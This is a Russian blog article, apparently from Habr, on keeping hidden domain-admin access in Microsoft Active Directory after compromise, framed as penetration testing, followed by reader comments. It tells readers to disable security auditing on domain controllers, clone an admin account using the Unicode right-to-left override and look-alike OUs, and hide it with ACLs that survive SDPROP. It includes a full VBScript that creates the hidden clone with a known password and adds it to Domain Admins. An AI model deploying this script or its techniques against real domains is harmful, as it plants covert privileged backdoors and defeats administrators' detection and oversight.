Backdoor в Active Directory #2

    В начале прошлого года мною уже поднималась тема пост-эксплуатации в домене Microsoft Active Directory. В предложенном ранее подходе рассматривался вариант ориентированный больше на случай утери административных привилегий, нежели их непосредственное использование. При этом само действо по возврату этих привилегий подразумевало «шумные» события и визуально палевные манипуляции в каталоге. Другими словами, для того, чтобы вернуть себе административные привилегии в домене, требовалось стать участником соответствующей группы безопасности, например, группы «Domain Admins».

    Надо сказать, что администраторы очень волнуются, когда неожиданно осознают присутствие в своей системе кого-то еще. Некоторые из них бросаются всеми силами обрабатывать инцидент безопасности. Порой, самыми непредсказуемыми действиями ;))


    image

    Теперь представьте, как себя может повести администратор Active Directory в крупной компании, при виде незнакомого идентификатора в группе безопасности «Enterprise Admins»? В случае если кто-то залился не понарошку, тогда озабоченность администратора полностью оправдана. Но в случае недостаточного противодействия при проведении пентеста, шибко волноваться явно не стоит (ровно, как лишать парней точек входа и добытых потом и кровью привилегий).

    Я долго размышлял над тем, как, не пугая администраторов, свободно пользоваться достигнутыми привилегиями в ходе проведения тестирования на проникновение (особенно на фоне агрессивного противодействия со стороны администраторов на последних работах). С одной стороны, при проведении пентеста мы сильно ограничены в возможностях. Например, правило по минимизации воздействия на объект исследования – это как само собой разумеющееся. Поэтому наплодить и раскидать бэкдоров по захваченной сети мы попросту не можем. С другой стороны, есть совершенно понятные цели, к которым требуется прийти до того момента, как радостный администратор заметит несанкционированную активность и выдернет шнур из розетки.

    Так как же можно оставаться незамеченным в сетях Microsoft?

    Первое, что приходит в голову — использовать учетную запись администратора. Доступ легитимный, поэтому он не должен привлекать к себе особое внимание. Но, как показывает практика, не всегда удается получить пароль администратора в открытом виде. В этих случаях на помощь спешит атака, известная под названием Pass-the-Hash. Было бы почти все замечательно (почти, потому как Pass-the-Hash сужает возможности по развитию атаки, например, нельзя воспользоваться протоколом удаленного управления RDP), но в серьезных компаниях администраторы потихоньку переходят на смарт-карты, что не позволяет использовать атаки, основанные на недостатках протокола NTLM. Хорошо, но есть же еще возможность использования токена авторизованного пользователя (eq incognito) и/или билета Kerberos (eq WCE). Так-то оно конечно так, но на практике Kerberos не керберос и токен не токен:( Доступный инструментарий по проведению данных видов атак, к сожалению, откровенно лажает. Кроме того, в обоих случаях, ровно как с атакой Pass-the-Hash, действия атакующего весьма ограничены используемыми протоколами, поддерживающими SSO в домене.

    Таким образом, самый привлекательный путь — это использование привилегий, если уж не существующего, так созданного идентификатора администратора домена с известным паролем…

    Как при этом не нарваться на бдительный глаз администратора домена?

    Во-первых, внесение изменений в каталог Active Directory порождает соответствующие события, о которых администратору лучше не знать. Поэтому перед заливкой в домен (разумеется, только при проведении тестирования на проникновение и после согласования сего действа с ответственным лицом на стороне заказчика) рекомендуется отключить ведение событий безопасности на контролерах домена посредством соответствующего GPO. Напомню, что по умолчанию время фонового обновления групповых политик для контроллеров домена составляет 15 минут.

    Во-вторых, никто не мешает создать визуально идентичную учетную запись, аналогичную существующему администратору домена. Для этого, например, могут использоваться символы юникода (!). Далее, созданному пользователю выставляется атрибут «showInAdvancedViewOnly» в значение «TRUE», что позволит скрыть объект в стандартном режиме просмотра оснастки «Управления пользователями и компьютерами» (dsa.msc). После чего, осталось поместить этого пользователя в одну из административных групп, свободную от реального администратора домена (прим., как правило, администраторы любят воткнуть свою учетную запись во все мыслимые и не мыслимые административные группы; например, оставим администратора в группе «Enterprise Admins», а клона поместим в группу «Domain Admins»).

    Но я думаю, что многие из читателей уже засомневалась в успехе компании. И они правы! Этот способ никуда не годится, т.к. в нем присутствуют два существенных недостатка:
    1. Созданный идентификатор пользователя виден в каталоге «вооруженным глазом».
    2. При поиске пользователей в домене, учетная запись администратора начинает двоиться.

    Как можно решить эти проблемы?

    Казалось бы, самое простое решение на поверхности – правильно настроить права доступа к создаваемому объекту (нашему пользователю). Для этого достаточно группе «Everyone» запретить читать публичную информацию у объекта. И в организационной единице, рядом с реальным администратором Active Directory повиснет «нечто», что как минимум перестанет светиться при поиске пользователей в домене. Однако сказка продлится не более, чем 60 минут:( Дело в том, что по умолчанию каждые 60 минут на контроллере домена, выполняющего роль эмулятора PDC, запускается процесс «SDPROP», который восстанавливает права доступа у ряда объектов Active Directory (в том числе, у всех членов групп администраторов) в соответствии с установленными правами доступа на объект «AdminSDHolder» (http://technet.microsoft.com/en-us/query/ee361593).

    К сожалению, отключить указанный механизм безопасности штатными возможностями невозможно. Хак с правами доступа на объект может привести к проблемам с репликацией (а тут уже попахивает какой-то диверсией; при пентесте низя). Перезапись прав доступа на «AdminSDHolder» затронет множество объектов, включая идентификаторы всех администраторов домена. Таким образом, одним из возможных полезных решений, может быть регулярный запуск сценария, который будет исправлять погрешности процесса «SDPROP», но есть и более перспективная альтернатива.

    Процесс «SDPROP» восстанавливает права доступа (ACE) только на конкретные привилегированные объекты, при этом права доступа для организационных единиц, в которых содержатся подобные объекты, остаются неизменными. Этим-то как раз и можно воспользоваться! Нам ведь никто не мешает, используя символы юникода, создать аналогичную последовательность организационных единиц, аналогично той последовательности, в которой содержится клонируемый идентификатор. При этом, «правильные» права доступа на вышестоящий контейнер позволят его визуально скрыть от посторонних глаз (разумеется в пределах разумного).

    image

    image

    Смысл подобного подхода заключается в том, что у администратора Active Directory не должны появиться нездоровые подозрения на тему того, что доверенная ему система была скомпрометирована. Он по-прежнему остается действующим администратором, разве что членом одной из привилегированных групп является визуально идентичная учетная запись…

    И последнее. Для того чтобы созданный клон не дублировался в поиске по каталогу можно воспользоваться, например, символом "202E" (респект Александру Зайцеву за напоминалку). Указанный символ переворачивает строку, расположенную за ним. Таким образом, если мы, к примеру, создаем клон для идентификатора «dmitry.ivanov», создаваемый идентификатор будет иметь вид «202E»+«vonavi.yrtimd». Возможно, такой подход не так удобен для прохождения аутентификации, но от попадания в поиск по каталогу спасает.

    image

    С точки зрения журналов безопасности, рассматриваемый подход также позволяет оставаться незамеченным до определенного момента.

    image

    Ниже представлен сценарий, который автоматизирует все выше сказанное. Настраиваемые параметры:

    strAdminsamAccountName – идентификатор, который требуется с клонировать
    strAdminsGroup – привилегированная группа, в которую следует поместить клона
    strPassNewUser – задаваемый пароль новому пользователю

    On Error Resume Next

    strAdminsamAccountName = «dmitry.ivanov»
    strAdminsGroup = «Domain Admins»
    strPassNewUser = «P@ssw0rd»

    ' — - — Dim arrContainer(), i

    Set objRootDSE = GetObject(«LDAP://RootDSE»)
    strDomain = objRootDSE.Get(«DefaultNamingContext»)
    Set objDomain = GetObject(«LDAP://» & strDomain)

    strAdminsamAccountNameDN = SearchDN("' WHERE objectCategory='user' AND samAccountName = '" & strAdminsamAccountName & "'")

    If Not IsNull(strAdminsamAccountNameDN) Then

    Set objAdmin = GetObject(«LDAP://» & strAdminsamAccountNameDN)
    Set objOU = GetObject(objAdmin.parent)

    i=0
    Call EnumOUs(objOU)

    For j = i-1 To 0 Step -1

    if strContainer="" Then
    strContainer = «OU=» & arrContainer(j) & strContainer
    primaryContainer = strContainer
    Else
    strContainer = «OU=» & arrContainer(j) & "," & strContainer
    End if
    Set objOUcreate = objDomain.Create(«organizationalUnit», strContainer)
    objOUcreate.SetInfo
    Next

    Set objContainer = GetObject(«LDAP://» & strContainer & "," & strDomain)

    Set objUserCreate = objContainer.Create(«User», «cn=» & ChrW(8238) & StrReverse(objAdmin.displayName))
    objUserCreate.Put «sAMAccountName», ChrW(8238) & StrReverse(strAdminsamAccountName)
    objUserCreate.SetInfo
    On Error Resume Next

    objUserCreate.SetPassword strPassNewUser
    objUserCreate.Put «userAccountControl», 66048
    objUserCreate.Put «givenName», ChrW(8238) & StrReverse(objAdmin.givenName)
    objUserCreate.Put «sn», ChrW(8238) & StrReverse(objAdmin.sn)
    objUserCreate.Put «initials», ChrW(8238) & StrReverse(objAdmin.initials)
    objUserCreate.SetInfo
    On Error Resume Next

    objUserCreate.Put «showInAdvancedViewOnly», «TRUE»
    objUserCreate.SetInfo
    On Error Resume Next

    NewUserDN = «cn=» & ChrW(8238) & StrReverse(objAdmin.displayName) & "," & objContainer.distinguishedName

    strAdminsGroupDN = SearchDN("' WHERE objectCategory='group' AND samAccountName = '" & strAdminsGroup & "'")

    If Not IsNull(strAdminsGroupDN) Then
    Set objGroup = GetObject(«LDAP://» & strAdminsGroupDN)
    objGroup.PutEx 4, «member», Array(strAdminsamAccountNameDN)
    objGroup.SetInfo
    objGroup.PutEx 3, «member», Array(NewUserDN)
    objGroup.SetInfo
    End If

    OUAddAce(primaryContainer & "," & strDomain)

    End If

    Function SearchDN(str)
    Set objConnection = CreateObject(«ADODB.Connection»)

    objConnection.Provider = «ADsDSOObject»
    objConnection.Open «Active Directory Provider»

    Set objCommand = CreateObject(«ADODB.Command»)
    Set objCommand.ActiveConnection = objConnection
    objCommand.Properties(«Searchscope») = 2

    objCommand.CommandText = «SELECT distinguishedName FROM 'LDAP://» & strDomain & str
    Set objRecordSet = objCommand.Execute
    If Not objRecordSet.EOF Then
    SearchDN = objRecordSet.Fields(«distinguishedName»).Value
    End if
    End Function

    Sub EnumOUs(objChild)
    Dim objParent

    Set objParent = GetObject(objChild.Parent)
    If (objParent.Class = «organizationalUnit») Then
    ReDim Preserve arrContainer(i + 1)
    arrContainer(i) = objChild.ou
    i=i+1
    Call EnumOUs(objParent)
    Else
    ReDim Preserve arrContainer(i + 1)
    arrContainer(i) = objChild.ou & ChrW(128)
    i=i+1
    End If
    End Sub

    Function OUAddAce(OU)

    Dim objSdUtil, objSD, objDACL, objAce
    Set objOU = GetObject («LDAP://» & OU)

    Set objSdUtil = GetObject(objOU.ADsPath)
    Set objSD = objSdUtil.Get(«ntSecurityDescriptor»)
    Set objDACL = objSD.DiscretionaryACL
    Set objAce = CreateObject(«AccessControlEntry»)

    objAce.Trustee = «Everyone»
    objAce.AceFlags = 2
    objAce.AceType = 6
    objAce.AccessMask = 16
    objAce.Flags = 1
    objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"
    objDacl.AddAce objAce

    objSD.DiscretionaryAcl = objDacl
    objSDUtil.Put «ntSecurityDescriptor», Array(objSD)
    objSDUtil.SetInfo

    Set objNtSecurityDescriptor = objOU.Get(«ntSecurityDescriptor»)
    intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
    intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
    objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
    objOU.Put «ntSecurityDescriptor», objNtSecurityDescriptor
    objOU.SetInfo

    End Function

    Комментарии 9

      +5
      Символ 202Е набирает популярность. После маскировки файла hosts троянами это большой шаг вперед. :)

      Для соблюдения вселенского баланса сил не хватает скрипта поиска 202E в именах учетных записей домена.
      И код что-то не отформатирован.
        0
        А возможно ли ограничить набор символов в именах объектов? В схеме много всего прячется, может и на такой случай существует параметр…
          0
          да, возможно. Более того, для разных объектов (имена пользователей, группы, OU, etc) существуют различающиеся ограничения по символам юникода. Т.к. существует огромное количество невидимых символов, подобный подход врятли может быть эффективным…
          +4
          Статья из серии — чтобы взломать систему нам понадобятся:
          1. Пароль учетной записи root


          В серьезных организациях вряд ли кто-то будет лазить по ADUC в поисках закладок, поставят какой-нибудь Symantec Security Information Manager или Quest InTrust и при любых отклонениях СБ будет расстреливать подозрительные объекты и заодно всех причастных к их появлению.
            +1
            в пентестинге любая зацепка важна, ни кто и не говорит что поголовно у 50% админов можно будет заюзать данный метод.
              +1
              первое предложение — «статья на тему пост-эксплуатации».
              К теме серьезных организаций: «против лома нет приема, если нет другого лома» (с)
              0
              Согласен с предыдущим оратором. Более-менее ответственные администраторы пользуются не только визуальным просмотром каталога. Старый добрый аудит еще никто не отменял.
              • НЛО прилетело и опубликовало эту надпись здесь
                  0
                  Перечитайте статью и пройдите по всем ссылкам, которые найдете.

                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                Самое читаемое